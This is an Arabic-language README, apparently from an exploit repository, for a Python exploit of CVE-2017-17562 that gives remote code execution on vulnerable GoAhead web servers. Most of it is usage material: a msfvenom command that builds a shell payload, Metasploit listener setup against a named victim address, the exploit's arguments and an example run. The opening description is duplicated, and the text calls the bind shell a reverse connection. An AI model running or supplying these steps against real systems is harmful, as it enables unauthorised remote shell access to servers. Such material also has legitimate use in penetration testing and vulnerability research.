
استغلال لثغرة CVE-2017-17562، التي تسمح بتنفيذ الأوامر عن بُعد (RCE) على GoAhead (الإصدارات الأقدم من v3.6.5) إذا كانت CGI مفعّلة وكان برنامج CGI مرتبطًا ديناميكيًا.
استغلال لثغرة CVE-2017-17562، التي تتيح تنفيذ تعليمات برمجية عن بُعد (RCE) على GoAhead (< v3.6.5) إذا تم تمكين CGI وكان برنامج CGI مرتبطًا ديناميكيًا.
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
يجب عليك أولاً توليد الحمولة (payload) وإعداد اتصال الاستماع.
مثال:
(المهاجم: 192.168.1.100 - الضحية: 192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
بعد ذلك، في طرفية (shell) أخرى، يجب تشغيل هذا الاستغلال لإرسال الحمولة التي ستبدأ الاتصال العكسي بالمُستمِع (listener)!
Required arguments:
--host HOST Host running the GoAhead webserver.
--port PORT Port running the GoAhead webserver. Default: 80
--payload PAYLOAD Path to the payload.
Optional arguments:
--ssl Host is using SSL.
--cgi LIST Paths list to discover the CGI script on the GoAhead server. Default: paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl